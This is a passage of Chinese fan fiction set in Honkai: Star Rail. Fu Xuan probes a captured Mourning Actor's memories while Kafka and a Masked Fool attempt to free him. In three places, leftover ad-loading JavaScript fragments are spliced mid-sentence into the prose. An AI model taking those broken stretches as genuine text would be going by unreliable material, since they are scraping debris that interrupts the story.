自星核灾变一事解决已经过去三天,临时代理景元履行将军职责的符玄终于处理完毕一应收尾工作,得以腾出手来审讯幽囚狱中那个犯人。 她已经下令让青雀提前启动了穷观阵的三座阵基。此刻只待云骑将人送来。 符玄闭着眼睛等待,说: “将军果然来了。我记得几日前星穹列车的诸位将你送去龙女处诊疗,按照医嘱,眼下你该在丹鼎司疗伤养病……既然你将将军的职务暂与本座代行,就该放下忧虑,好好养伤才是。” “哈哈哈……不妨事。”景元从容地踱步走到穷观阵阵前,微笑,“事关罗浮星核灾变的种种疑点,更何况此人的同伙带着一半的建木果实不知所踪……我实在静不下心好好养伤。符卿就当我是来凑数的吧。” “哼,有本座在,你就在一旁看着就好。”符玄说。 云骑很快就将悲悼伶人带了过来。 即使身披枷锁,这位伶人依然坚持选择自己走路。显然这些枷锁大大限制了他走路的速度,此刻他在两名云骑的监视下拄着拐杖以龟速朝着穷观阵的方向前进,数十米的距离,硬是让他走了几分钟。 终于他挪动到了符玄和景元面前,云骑揭下贴在他头上的闭口符,于是他慢吞吞地开口: “您好,符太卜,您好,景元将军。” “……”符玄说,“禁言。本座没兴趣和你虚与委蛇,我只相信穷观阵的演算。” 符玄深吸一口气,双手交合,额间法眼迸发耀眼的光华。随着她的动作,那座巨大的演算机器开始亮起,复杂的纹路一重重展开。 围绕着穷观阵的那些用以演示星星运动的浑天仪开始旋转,站在阵心的悼歌随着这些圆环的旋转慢慢升空。 伶人安静地垂眼注视着符玄和景元,浅蓝色的眼睛像一块雨中的玻璃,清晰而坦白地向穷观阵展示过去的一切。 ******** 符玄谨慎而警惕地行走在悲悼伶人的记忆之间。 此人的记忆颇有奇怪之处。 同卡芙卡那怪诞而戏剧性的内心世界大相径庭,伶人记忆中的一切都是灰白色调的。 联想到悲悼伶人们驾驭贡多拉为一个又一个毁灭的世界献唱哀悼挽歌的行为特征,这种色调充满了地狱笑话的意味。 符玄皱着眉头在完全灰白色的记忆之中穿行。 看周围的景象,这个记忆的场景应该是鸣火商会的飞船——然而,飞船上的众人也在这黑白二色中停滞不动。 这些被静止在某个时刻的人们脸上的惊慌和恐惧肉眼可见,纷纷是一副竭尽全力奔逃的姿态。 符玄思忖片刻,朝着人群逃离的方向走去。 随着她像人群逃离的中心前进,周围的景象开始出现反物质军团的身影。 这些军团的虚卒在飞船上大开杀戒,血液四溅,染在飞船的墙体上——由于伶人记忆添加的黑白滤镜,这些血也是深灰色的,符玄走近触摸才得以确定那些大面积倾洒的液体就是血液。 看起来这是停云遇害时的场景。 也许就是在这时,那个绝灭大君幻胧顶替了停云的身份……符玄紧紧皱着眉头,继续超前走。 她远远看见一个白头发的背影。 伶人拄着拐杖,背对着她半蹲在这艘船的控制舱室,脚边,正是鸣火商会代表,停云。 符玄走近。 离得近了,她才得以看清,在停云的躯体上方,停留着一团青金色的火焰。 和那些记忆中黑白色不同,这团火焰和伶人都并非静止不动,也拥有正常的色彩。 记忆中的伶人垂首查看完毕停云的身体状况,对着那团火焰说: “……我想和您做一个交换,绝灭大君。” “呵呵……”那团火焰中传来一个低沉轻柔的女声,“小小虫豸,也配和我谈交换?” “我有您想要的东西。”悲悼伶人十分自然地忽视了幻胧的垃圾话,说,“一颗星核。” “……呵呵。”幻胧轻笑起来,“有意思。我要星核做什么?更何况星核这种东西,军团要多少就有多少,你凭什么觉得,我会需要你手中的?” “关于这一点,”悲悼伶人说,“我想是因为,这对我们双方都是更好的抉择。请容我直言,您袭击罗浮仙舟鸣火商会的商船,其实意在借用这位小姐的肉身潜入罗浮仙舟。” 悲悼伶人说: “至于您要星核做什么……寰宇流传您有万千化身,以百般面貌与人们相对——我想这是您没有自身□□的另一种说法。” “罗浮仙舟上那一株建木,丰饶留下的神迹……它结成的果实是完美的肉身之选,而那就是您此行的最终所求。可惜巡猎的岚已经将建木斫断,为了复苏建木,您会需要一颗星核。” “……”那团青金色的火焰明灭不定地闪烁了片刻。 幻胧轻柔的声音再度响起:“伶人,你说得不错。然而知道这些并不能帮你的忙,只会加速你的死。知道太多的人总是活不长的。” “我本就是将死之人。”悲悼伶人说。 符玄站在一旁紧紧皱眉。 即使是面对烬灭祸祖的令使,这位悲悼伶人依然毫无恐惧和紧张感。 这是因为他身患绝症,因此对生死毫无在意么? 她一边想,一边继续看。 “请让我阐明我的诉求吧,令使。”那边,悲悼伶人继续说,“我想要以这颗星核、以及在罗浮上为您提供帮助作为交换,换您放过这一船人。” “你——?你能为我提供什么帮助?”幻胧问。 悲悼伶人拄着拐杖起身,沉静地说:“丰饶建木被斫断后,罗浮的持明龙尊「雨别」以古海封印了建木玄根,只有龙尊有力量分开古海的海水。然而饮月之乱发生以后,龙尊传承断绝,如今罗浮之上已经无人能分开古海。这也意味着,外人无法抵达那里……” “……”幻胧轻笑,“然而我并非有形之躯。区区海水,莫非还能拦住我?” 悲悼伶人冷静地指出: “您可以抵达那里,星核却难。” “我听说您钟爱事物内部的自毁。如今罗浮仙舟上隐藏着一股希望使罗浮重走丰饶之路的势力,就潜伏在丹鼎司。他们中有人能将星核送入鳞渊镜,”悲悼伶人慢吞吞地说,“我可引您与其达成合作。” “呵呵……”幻胧饶有趣味地笑起来,“如此说来,你倒想得样样周全。我得收回前言,你确有大用。只是……” 幻胧意有所指地说:“你知道的这样详尽,又冒死来同我做交易,就只为了这一船人的性命?我倒是听说悲悼伶人在寰宇中的名声,你们总怜悯心泛滥,为注定了的毁灭哀哭……但你显然另有所图。” “是的。”悲悼伶人直言不讳地说,“我亦为建木而来。” 他平静地伸出一只手,拨开遮挡着左半边脸的头发,露出其下病变的灰白色皮肤和那一只灰蓝色的眼睛,说: “如您所见,我身患古怪的绝症。我遍寻寰宇的名医,但无人能治愈这种疾病……因此我只能寻求星神的力量。” “呵呵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ……”幻胧了然地笑出声,“脆弱而渺小的凡人啊……” 自认将悲悼伶人手中筹码完全掌握的绝灭大君悠然自得地说:“那么感激吧,我同意你的交换。待我事成之后,自然将建木的力量分你一份。” 当然,此乃谎言。 绝灭大君幻胧心底微笑想道。 她的确爱看这些自以为是的凡人,机关算尽、费心擘画,最终在希望到来的前夕陷入绝望。这就是凡人的自毁,由内而外的、真正的、可称得上美丽的毁灭。 在幻胧悠悠地说完这句话之后,此地的场景渐渐完全灰暗下去。 这一段和罗浮有关的回忆结束了。 符玄停步在原地,思忖片刻: 这一段记忆倒是能对上很多细节。 星核是由悲悼伶人提供、绝灭大君幻胧带进罗浮的,而那个来认罪的行商罗刹,不知道出于什么原因故意顶罪,实则另有所图。 继续看下去吧。 事情还有诸多疑点。比如那个悲悼伶人为什么对罗浮上的事情知道得如此清楚……又比如他此刻那个带着一半建木果实逃跑的同伙。按道理来说,幻胧潜入建木玄根塑造肉身时,鳞渊镜的古海并没有被分开,那个愚者是怎么突破海水的封锁,抵达建木玄根的? 符玄一边思考,一边向前方走去。 这些问题,继续看下去才有答案。 ******* 符玄行走在伶人的记忆之间。 这一段记忆依旧是灰白色的,看场景,是在一艘陌生的飞船上。 伶人站在巨大的舷窗旁边,视线看向舷窗之外。 符玄走到伶人身边,顺着伶人的视线向外看去。 舷窗之外只有冰冷死寂的寰宇。 漆黑而无生机的空旷背景中,无穷远的星星羸弱地明灭,像是临死前有进气没出气的喘息。 它像是一个巨大的坟场,令一切都寂静停滞下去,它透不进一丝流动的气体,任何运动都会在此止息。 只要凝视着这片虚空,就会错觉这片无垠而死寂的寰宇正在无限膨胀,比贪饕更无节制,下一刻,就会将船中之人吞没。 符玄怔怔地盯着舷窗之外的寰宇,背后被激出了满背的冷汗。有一只无形的手攫住了她的心肺,正在用力收紧,让她喘不过气。耳边,似乎有警笛在尖锐地长鸣,并且越发高,越发紧。 这应该是那个伶人的感情通过记忆传递过来了…… 符玄在这种莫名的状态中勉力分析,想要将视线从那仿佛黑洞般的寰宇中撕扯下来,然而尝试几次无果,并且感受到心肺受到的压迫已经将至极限—— “哎呀,忒利斯提斯,我一不看着你,你就又跑去发精神病了。” 一个轻快的声音突兀地响起,打破了这种让人窒息的死寂。 符玄松了一口气,终于能将视线移开。她回头看向说话人,果不其然,是伶人那个同伙,金色头发绿眼睛的假面愚者。 ——这个愚者,在伶人的记忆里竟然也是彩色的。 此刻,愚者脸上一副笑眯眯的神情。他走过来站在伶人身后一步的距离,和伶人一起看向舷窗外的寰宇。 “……”伶人闻声回头,叹着气说,“谢谢,你的提醒很及时。的确是我自找苦吃……” 他深呼吸一口气,打起精神来问:“送停云到阮梅那里的路上有受伤吗?” “你是问阮梅有没有把我怎么样?”愚者轻快地说,“放心好啦,我一点擦伤都没有。顺便一提,我还给你带了她培育的猫糕。” 17. 十七、伶人那黑白色的回忆 假面愚者笑眯眯地把一坨梅花糕点一样的生物扯出来,说:“你看,猫糕。” 那只被称作“猫糕”的生物像果冻一样弹了弹,发出一声阴阳怪气的muniu。不知为何,悼歌似乎从这没有眉毛的大眼睛猫糕脸上看出了笑眯眯的神情。 “……”悼歌盯着这只猫糕三秒,慢吞吞地、委婉地指出,“它长得很像你……你是把基因给阮梅做抵押了吗。” “哈哈!”愚者乐得笑出声来,“不是。但是你说的也很好玩……总之,这个猫糕送给你,挺好玩的不是吗?” 悼歌沉默地盯着猫糕阴阳怪气的笑脸,完全不想伸手去接。 然而这只猫糕物似主人形,充分发挥了假面愚者不要脸皮的特性,从愚者手中一个弹射到他的头顶,心满意足地拉伸了几下果冻状的身体,将悼歌理好的头发全部蹭乱。 悼歌消沉地伸手去拨那只猫糕,被它以一种刁钻的身法躲开了。 “……”伶人郁郁放弃,转而说,“去到仙舟之后,你尽量不要人前露面……我会和之前遇到的那位行商罗刹一起进入仙舟,你暂时不要进去。” “哎哟,忒利斯提斯,”愚者立刻叫唤开了,“你怎么这样?你撇下我,跑去和那个净庭教会的玩?” 悼歌解释说:“我没有不带你玩……只是我需要确保星穹列车上的丹恒下车。” “丹恒?……哦,你说那个前任饮月君。罗浮不是放逐了他?”愚者歪头,“你要怎么让他下车?” “很简单,他在列车上的同伴会下车。”悼歌说,“如果他担心同伴的安危,那么他一定就也会下车。” “欸,我有一个主意!”愚者笑嘻嘻地举起一根手指头,“你说我假扮成那个星核猎手去星穹列车上溜两圈怎么样?刃追着他砍了这么多年,他肯定对刃的脸有心理阴影……包他下车的。” “……”悼歌沉思片刻,说,“那也可以。但应该用不到这个方法……因为刃现在就在罗浮上。只要丹恒知道这一点,他就会下车的。” “好吧。”愚者遗憾地放弃。 “不过,忒利斯提斯,你不是要重生建木,摘取建木果实吗?为什么要让那个丹恒下车?”愚者摸了摸下巴,说,“他是前持明龙尊,虽然他转生不完全……但是转生不完全,约等于完全不转生啊。万一他到了罗浮,开了鳞渊镜古海,咱们不是凭空给自己添麻烦?到时候又打云骑军又打星穹列车,场面可就混乱啦——虽然我觉得这样也挺不错。” “没必要和他们打,”悼歌说,“我们并不是为毁灭罗浮而去。” 愚者绿色的眼睛盯了悼歌有一会。 半晌,他若有所思地说:“忒利斯提斯,有时候你的心思真好懂啊。我有和你说起过你那不必要的怜悯心过剩的问题吗?” 愚者继续说:“我们都是坏人啦,你怎么还想着减少死伤呢?你要星穹列车和丹恒下车,是为了防止幻胧计划得逞?可是幻胧得逞与否都不影响我们拿到建木神实呀?更何况,我们正在犯罗浮的‘不赦十恶’,成为仙舟联盟通缉的重犯都已经是板上钉钉的事情了,就算你阻止了幻胧也不会改变这一点。” “……” 悲悼伶人沉默片刻,神情郁郁地说:“你让我找找理由。” 伶人想了想,说: “首先,幻胧不会真的兑现承诺。” “等到建木果实生成的时候,她一定毁约。她作为绝灭大君,天生爱看人绝望……因此丹恒的下车很有必要,因为我们很有可能需要从幻胧手中虎口夺食……到时候,你可以凭借你优秀的逃跑能力带着一部分建木神实扬长而去,但留一部分给幻胧塑成肉身,这样,怒发冲冠的幻胧将不得不去和神策将军、饮月君丹恒、星穹列车等一系列重磅级选手近身拼刀,而你全身而退,从容看戏。” “哎呀,所以我喜欢你,忒利斯提斯,天才啊!”愚者双眼发亮,为伶人的描述笑出声来,他雀跃地说,“听起来真不错,这可是能戏耍令使的好机会。还有呢还有呢?” “其次,”伶人说,“你就当我又在犯精神病吧。” 悲悼伶人消沉地说: “虽然我的确正在变成一个罔顾别人性命只为达成自己目的的恶徒,既违背悲悼伶人的信条,又违背普适的道德准则……虽然在寰宇中,生命的逝去就像融化一朵霜花一样稀松平常、悄无声息。然而……” 悲悼伶人越说,声音越哽咽,浅蓝色的眼睛里也汇聚起雾气。最后他没能说完这句话,在话音含糊的末尾他停了下来。 他紧急将一张哭泣着的面具按在脸上,遮挡住此时的面貌。泪水顺着他遮挡不住的下巴落下,滴在地上。 站在一边的符玄一头雾水。 这也真莫名其妙!这悲悼伶人为什么哭?刚才的话题哪里有让人悲伤的部分? 然而一边的愚者一定十分清楚这莫名其妙的悲伤的症结所在。 他立刻举双手投降,怪叫着说:“哎哟!我刚刚开玩笑的啊!错了,错了!别别,冷静点。想想你的终极目标,再想想你的病!你这样情绪起伏,说不定活不到你愿望实现那一天啊!” “……” 悲悼伶人的失态只维持短短几秒。片刻后,他将面具取下来,脸上的神情已经恢复至常态。 伶人滑稽地顶着一张泪痕未干的脸,头上还盘踞着那只笑脸猫糕,坚持继续将刚才没说完的话说完: “然而,我还是希望能够将那些如朝露一样的生命留存得再久一些、不必要的死再少一些。” 悼歌如是说完,消沉地说:“就是如此。我已经阐明我的想法,现在你可以嘲笑我虚伪和软弱了。” “哎呀,”愚者松了一口气,笑起来,“如果你不是忒利斯提斯而是别的什么人,我肯定就这样做了,毕竟我不在乎事实如何,只想要开怀大笑——如果被我嘲笑的人因此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 哭起来,那就更加好笑了。所以假面愚者们喜欢和悲悼伶人、纯美骑士团这类人打交道……你们总是那么一本正经、过分严肃,用毫无必要的高道德来作茧自缚。随便耍耍,你们就会破防了……” “但是,”愚者优雅地欠身,“谁叫我们是好朋友呢?所以我只好和你说真心话啦:人活在世界上,唯有欢愉是真,为什么要给自己的心灵加诸种种负担?如果你觉得,这样做你会更开心一些,那有什么不行的?人都会死的,但是我希望你能快乐。” “……”悼歌擦去还残留在脸上的泪痕,又理顺猫糕弄乱的头发,说,“我不能不对此说一声谢谢。虽然快乐对悲悼伶人来说是有毒的。” 伶人说完这句话,此地的场景也逐渐灰暗下去。 在黑暗中,符玄摸着下巴沉思。 还有几个问题没有得到解答,要继续往前看吗? 符玄犹豫了一下,选择往前走去。 ******** 景元抱臂等候在穷观阵的旁边,凝视着空中的伶人和闭目的符玄。 符玄这一去去了许久,恐怕那伶人的记忆有古怪之处。 而那个伶人的同伙不知所踪,这也是个大问题。镜流自首之后,他曾去见过她一面,得知了去幽囚狱劫狱的并非镜流本人的消息……结合那个愚者的身份来看,那个劫狱的“镜流”很有可能就是假面愚者。 如果这位愚者打算故技重施,再次将自己的同伴救出去,那么在符玄审问他的时刻,就是最好的时机。 毕竟太卜司和穷观阵由于特殊地位,无法安排大量云骑戒备——更何况那愚者显然不是云骑能对付的对手…… 这也是他执意前来的原因。 作为仙舟罗浮的将军,他有义务、也有必要守卫仙舟。 景元抱臂等候,心中却警惕。 就在他警惕的时刻,空中,一道亮紫色的丝线一闪。 “……”景元召唤出石火梦身,一击切断了这道割向符玄的蛛丝,笑着说,“没想到来的是你,猎手。” “神策将军果然名不虚传。” 自阴影处现身的紫发猎手微笑,她右手握着一柄紫色刀身的武士刀,左手持着MAC-10冲锋枪,在短暂蓄力之后,如鬼魅一般向着景元和符玄的方向冲来。 “猎手,罗浮已经撤销了对你们的通缉令,但你们仍然选择逗留罗浮,”景元提刀架势,顺势格开卡芙卡的劈砍,说,“还继续犯下不赦十恶,妄图破狱释囚……难道你们星核猎手,真的与星核灾变有关系?” 卡芙卡手拉蛛丝,架住景元的阵刀,笑着说: “不,这完全是污蔑。逗留罗浮,只是因为阿刃的魔阴身发作得实在厉害;至于为什么要来犯下‘不赦十恶,破狱释囚’……” 紫发的猎手嫣然一笑: “那边那位悲悼伶人也算得上猎手们的好朋友,实在做不到见死不救呀。” 18. 十八、这给我干哪来了这还是刃吗 三天前。 “什么条件,说来听听。”愚者斜视卡芙卡。 “我要你扮演阿刃,引开即将到来的云骑以及景元的那个云骑骁卫,彦卿。”卡芙卡笑说。 “然后呢,救我好朋友的部分去哪里了?”愚者歪头问。 “别急呀,”卡芙卡笑着说,“我知道符玄的穷观阵可以探知人的记忆——那东西对你来说很危险不是吗?” “我会先暂时以言灵封住阿刃的魔阴身,这期间我无法行动,而你就先去引开云骑。等我压制魔阴身完毕,我就去救悼歌——不过恐怕咱们得等上一等。符玄要审讯悼歌,那时就是最好的行动时机。” “哎呀,”愚者皮笑肉不笑地拉长语调说,“你真贴心,那就这样说好了。” “那么请吧,我要开始了。麻烦我们的愚者快快梳妆打扮,登台演出了。”卡芙卡微笑伸手,做出邀请的姿势。 “既然你那么期待我的演出,我又怎么能让你失望呢?”愚者优雅地抚胸欠身致意,夸张地表现出一副感动不已的神情,“请放心,我绝对会为你们献上一出集趣味、戏剧性、深度和人生价值的标准欢愉剧目……” “本来放心的,”穹说,“这下不放心了。” “不放心?不放心也没用,谁叫你们这样拜托我了呢?”愚者笑眯眯地掏出一张阴阳怪气的笑脸面具戴在脸上。 那面具一瞬间燃起幽绿色的光芒,等光芒散过,站在那里的已经变作一个瘦长的男人,同站在卡芙卡身边的刃简直是一比一复刻——只是除了那边那个脸上一副笑眯眯的神情。 “……”刃阴沉地注视着愚者。 “怎么,”愚者有模有样地挽了个剑花,笑吟吟地问,“不像吗?” 卡芙卡笑出声来,说:“我觉得不错。” “呃,”穹一言难尽地摸了摸下巴,说,“我觉得,刃应该不会做这种表情的吧……” “你这是刻板印象!”愚者气愤地说,“魔阴身面瘫就不能笑吗?我作为假面愚者,誓死捍卫每一个冷脸寡言的闷葫芦笑出来的权利!就连悼歌都会笑啊!” “——不过嘛,”下一秒愚者立刻变脸,笑说,“我愿为精彩的剧目牺牲。我知道你心中的刃是什么模样——” 他调整了一下脸上的神情,将那副笑脸变作一副阴沉如水的神情,同时压低了声音,说: “人有五名,代价有三个,你,不是其中之一……” 愚者换了个姿势,用右手捂着脸,发出癫痫般的低哑笑声,说: “丹恒……我们的罪孽何时偿还……” “对味了!太对了!”穹竖起大拇指,“就是这个。” “……”刃阴沉地注视着穹和愚者。 可怕。穹悄悄往卡芙卡身后挪了挪。 “很好。”顶着刃的脸,莱尔笑眯眯地收起剑,说,“那么,那边的魔阴身老叔和卡芙卡就拜托你照顾了,小星核精。我要去和云骑们玩咯。” ******** 愚者大摇大摆地从太卜司云骑巡逻的必经之路上走过。 这一路上不乏这样的场景: 巡逻的云骑看见他,大喊一声“通缉犯刃!束手就擒!”后,被愚者一手刀放倒了。 他这样轻快地逛了一路街,身后已经倒了一大批云骑,并且,还有许多云骑正追在他身后,大喊“束手就擒!”。 “哈哈,哈哈哈哈——”愚者十分尽职尽责地扮演着魔阴身发作的癫子,一边大笑一边举着支离剑乱砍,这其实十分有难度,毕竟他得避免这些云骑真的被他砍到。 他这种疯癫的大闹很快就将将军的骁卫吸引了过来。 这位少年天才剑客手持飞剑截断他的去路,口中喝道: “大胆狂徒,罗浮太卜司重地岂容你放肆!” 顶着刃的脸的愚者笑着转身: “我当是谁,原来是景元的跟班小子……之前那一战还没叫你学会审时度势么?” 彦卿咬牙持剑,剑尖指向“刃”,脚下分毫不退,厉声说:“将军大发慈悲放你们一条生路,你却毫不领情!还口出狂言,打伤云骑,大闹太卜司!我身为云骑骁卫,怎可容你这般挑衅仙舟威仪……即便彦卿剑技不如人,也断不会在此时‘审时度势’!” 愚者静默片刻,笑着鼓掌说:“哇,好热血。” 彦卿掐诀持剑,摆好架势,喝道:“少废话,束手就擒!” 随着他这声话音落下,细长的飞剑接连向莱尔刺来。 莱尔举着“支离剑”格挡,一时之间刀兵碰撞的锵然之声不绝于耳。 “哎呀。”莱尔笑眯眯地说,“小朋友就是沉不住气。但是这样也不错……作为回报,其实我也算‘略通剑技’,我再教教你新的招式如何?” 他举着那柄重剑,却轻松得好像举着一根树枝。愚者轻松地左手持剑,右手背在身后,从容地抬剑架住彦卿的攻击,手腕平稳,剑身都不曾摇动半分。 愚者一边架势,一边笑说:“罗浮剑法讲求轻灵飘逸,在这一点上你的确很强,但是如果你的对手不必和你比拼身法的灵活呢?” 愚者一边说,一边就着架势的力道旋剑劈手,用扁平的剑身痛击彦卿持剑的手腕。这期间他完全不躲避朝着他的肩膀刺来的飞剑,因此那一剑也毫无意外地刺进他的肩膀。 彦卿手腕剧痛,差点令剑脱手,他紧急踩着飞剑后退了几步,感觉到整只手都在发颤,手中的剑也跟着微微发抖。 莱尔笑眯眯地拔出插在他肩膀上的剑,那柄飞剑造成的伤口迅速愈合。 彦卿恶狠狠地捂着手腕逼视愚者。 莱尔将拔下来的飞剑扔给彦卿,说:“你看,这就是丰饶。大力是能出奇迹的,更何况不死之身甚至都不需要考虑防守。我只需要舞着剑乱砍一气,你就会伤到了……” “……”彦卿沉默不语,咬着牙换为左手持剑,继续冲上来。 莱尔笑说:“你真的要用左手和我打吗?左手不是你的惯用手吧?” 回答他的是彦卿迅疾凌厉的一剑。 莱尔将左手剑换到右手,笑说:“好吧,那我也陪你用非惯用手——唉,像我这样好的老师真的不多了。刚才我们说到哪里了?” “哦,想起来了,大力出奇迹!不过,你肯定也不想要变成浑身虬结肉块的筋肉怪……那么我来给你示范一下灵活身法的更进一步——” 愚者轻快地提着重剑左躲右闪,像跳一支快节奏又流畅的舞,以一种刁钻的姿势避开了每一剑,并且只躲不攻。显得游刃有余,从容不迫,让人气得牙痒痒。 愚者抓住彦卿出招的后摇,一个闪身来到彦卿背后,给了这位少年天才一个肘击,一边肘,一边笑眯眯地喊了一声“man!!”。 彦卿向前踉跄了几步,怒气冲冲地回头,出招越发没有章法了。 愚者笑说:“你看,又急。” 他看了看时刻,觉得拖的时间差不多了,于是神情一肃,口吻凝重地说:“好了,我不陪你玩了。接下来我要使出凝聚了我毕生所学的一剑,希望你严肃地对待……” “……!”已经累到脱力的彦卿咬着牙握住了打滑的剑柄,死死地盯着莱尔,绷紧了全身上下每一块肌肉。 少年太过于专注,以至于对面的每一个微动作都在眼中清晰可见,仿佛放慢了十倍。在转瞬即逝的一刹那,他捕捉到了莱尔极快速的抬手,思绪甚至来不及跟上动作,少年已经举剑格挡—— 然而,预想中威力十足的剑招没有到来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,到来的是一枚彭然炸开的烟雾弹! 这一枚烟雾弹被彦卿接招的一剑正正劈开,一瞬间浓烈的烟雾顷刻爆炸。 制作烟雾弹的人十分阴险地往里面加入了大量辣椒粉,直面了烟雾弹的彦卿不慎吸入了一大口,呛得一口气没喘过来,痛苦地不住咳嗽,一整张脸都变作水煮龙虾般的通红。 “这一招叫诈骗剑法!”莱尔大笑着留下余音,“你的将军有没有教过你兵不厌诈?现在我教给你啦!” “可恶……咳咳咳……”彦卿咳得眼泪水都出来了,他努力睁着眼睛,“恶徒……咳咳……休走……咳咳咳……” 然而,等烟雾散去,那通缉犯早已经跑得无影无踪。 ********* 莱尔好心情地回到卡芙卡和刃的藏身之地。 “你们的愚者回来了!”他笑眯眯地突然从屋顶窜下来,吓了穹一哆嗦,“你们压制魔阴身怎么样了?” “已经好了,正在等你。”穹抱臂对吓了他一跳的愚者没好气地说。 “哎呀,”愚者笑说,“谢谢,谢谢!帮大忙了,小星核精。下次我请你喝罗浮苏打豆汁怎么样?” “……那不是著名的难喝东西吗!”穹说,“你自己留着喝吧。” “谢谢你,开拓者。”卡芙卡也走出来,笑说,“你的确帮了我一个大忙……” “我帮你谢过了,闲话少说。”愚者嚷嚷道,“快兑现你的承诺。” “别急呀。”卡芙卡悠然地把愚者晾在一边,又对着穹微微一笑,“谢谢你愿意前来……接下来的事情将是猎手们的额外工作,就不把你卷进来了。” 紫发的猎手停顿了一下,笑着说: “再见,开拓者。我们很快会再见的。” 不知为何,穹总觉得猎手的笑容非常悲伤。他想要再说点什么,却想不到合适的话题,只好轻轻点头,转身离开。 “……” 愚者和卡芙卡一起看着穹的背影远去。 良久沉默。 “我真的搞不懂你们星核猎手。”愚者淡淡地说,“他不记得我和悼歌就算了,怎么连你也忘得差不多了……你不是很喜欢那个孩子吗?就算是为神战做铺垫,为什么要把他送到星穹列车那边去?我看不出丝毫必要性。” “命运,”卡芙卡轻声说,“这种看不见,摸不着,却存在着的东西,已经替未来写下所有可能的走向。无论你愿意或不愿意,它都将到来……简言之,为了达成艾利欧的剧本,需要如此。” 愚者冷冷笑出声:“所以我和你们老大合不来。他真给人装神弄鬼的神棍之感啊。坚持说谜语数百年,从不好好说人话,经典语录就是‘这是剧本的一部分’——说真的,你们就没考虑过他其实是个谜语人的可能性吗?” 下一刻,愚者又笑眯眯起来:“不过那和我无关。我只关心现在悼歌的安危,什么星神大战啊,什么和毁灭的纳努克去拼刀啊,交给你们这些主角来操心吧。真到了那一天,我会给你们加油助威的。” “真到了那一天,你也得去和纳努克正面拼刀,”卡芙卡笑着说,“不过恐怕你去也是送死……” “对了,刃呢?”愚者歪头,“怎么没看见他人影?我还打算和他说说景元那徒弟呢。” “他想见一个人,已经走了。” 愚者感叹说:“去见白露?哎呀,仙舟上曾经的云五聚齐了。好个孽缘,真是一出精彩的复杂多变形人际关系……” “那不是正好么?到时候我们去救悼歌,也方便许多。毕竟老朋友也会牵动那位将军的神思,更何况那五人的立场如今并非全然站在罗浮一边。”卡芙卡笑说。 “你说得很有道理,那就预祝我们行动顺利!”愚者重新笑起来。 19. 十九、祸不单行 此刻,太卜司穷观阵。 “毕竟悼歌也算得上我们猎手的好朋友,实在做不到见死不救呀。” 紫发的猎手说完,迅速朝着符玄的方向举枪射击。 景元眼神一凛,冲至符玄面前,想要替她拦下这一枪。 卡芙卡顺势收枪,越过景元和符玄朝着穷观阵阵心的悼歌而去。 她没能够到悼歌。 景元将阵刀掷出,挡下朝着符玄射出的子弹,同时自身弹射而出,挡在卡芙卡与穷观阵之间,二者再一次打得难舍难分。 “你真就有如此自信,能从重兵防守的太卜司全身而退?”景元眯着眼睛,提刀挥砍,笑问。 卡芙卡矮腰躲过,牵扯蛛丝,借着振刀跃起,在空中又向符玄开了一枪,笑说:“单凭我一个人,当然有些困难……不过悼歌还有另一位同伴不是吗?” 景元心说:就知道那愚者也来了。卡芙卡直入穷观阵,一路上也没有通传报信,恐怕那个愚者已经将此地的云骑放倒个七七八八。 他一边思忖,一边极快地抢在那射向符玄的子弹击中目标前劈开了它,借此机会,卡芙卡一把跃至穷观阵的阵心,笑意加深,朝着其中的悼歌伸出了手。 她已经抓住了悼歌的肩膀,然而景元的阵刀也随之而至。 无奈之下,猎手只能暂且放弃这一次机会,再次借着蛛丝的牵扯后退,另寻机会。 紫发的猎手面上微笑,心中却在计算那愚者还能在外围替自己拖多少的时间。 毕竟这是在罗浮仙舟,她在此处拖得越久,形势就越不利。 不过她并不对此过多担心…… 卡芙卡再一次冲上前去。 ……因为命运的剧本写着她和伶人的安然无恙,而命运从没有第二种结局。 ******** 符玄行走在伶人的记忆之间。 周围的场景依然是灰白的色调,看样子,是在一艘商船上。 符玄谨慎地越过那些被定格在某一时刻的乘客和商旅,朝着前方伶人的位置走去。 看样子,伶人目前的所在是一艘商船的中段,大概是这艘商船用于会客的舱室。 符玄朝着那边走过去。 伶人姿态端正地坐在会客用的沙发上,那柄从不离手的拐杖安然地躺在他的臂弯。 他的对面,坐着一个金色长发的男子,男子身旁,立着一口极大的棺椁。 那正是潜入罗浮,不知在谋划何物的行商,罗刹。 此时,这位行商手持项链,微微闭眼,丰饶青金色力量在他与悼歌之间流转,那转过的纹路像盛开的百合花,兼具丰饶命途特有的生命与纯净之美,一遍又一遍,以温和纯净的力量涤荡伤痛。 伶人静静地注视着这些光华。 一段时间后,这些力量随之散去,闭眼的行商也睁开眼睛。 “……抱歉,我治不好你的病。”罗刹开口说。 伶人静默片刻,说:“不,不用道歉。是我该谢谢您,为您愿意尝试治愈我的顽疾。” “……”罗刹沉吟片刻,说,“虽然我治不好你的病,但是接下来我们商船的目的地是仙舟罗浮。我听说罗浮之上有一位衔药龙女,医术高明,说不定有方法。如果你不嫌麻烦,可以和我们同去。” “谢谢您的建议,”伶人颔首,“我亦打算前往罗浮,愿和您同行。” “……”伶人停顿了一下,视线移向罗刹身旁立着的棺椁,问,“不过,容我冒昧一问:这几天相处,那具棺椁您从不离身……请问里面盛装的是什么?” “既然是棺材,那么自然装的是遗体了。”罗刹微笑着回答,看起来滴水不漏。 “……” 伶人慢吞吞地说:“不知道是不是我的错觉,我总觉得,您的棺材里的‘遗体’,也许还没有死。” 罗刹微笑着说:“遗体遗体,当然是已经死去了的。也许是你在星际旅行的过程中产生了一些紧张焦虑的情绪,才会有这样的错觉吧。” “……”伶人注视罗刹片刻,委婉地说,“那么您就当我是在说胡话吧。您作为这具棺椁的携带者,想必比我更加清楚其中盛装的东西是何状况。” 符玄情不自禁地将视线移到那棺椁上去。 听那伶人的描述,这棺材里的东西有古怪。 活着的遗体……听起来很像丰饶孽物,而罗刹看起来又和丰饶牵扯颇深…… 她思忖片刻,决定用法眼窥视一番,看看那棺椁中的东西究竟为何物—— 然而在她开启法眼,向那棺椁瞥视一眼的刹那间,她感受到了里面的东西对她回以了“注视”! 一种莫名的压迫感忽然攫住了她全部的神思。 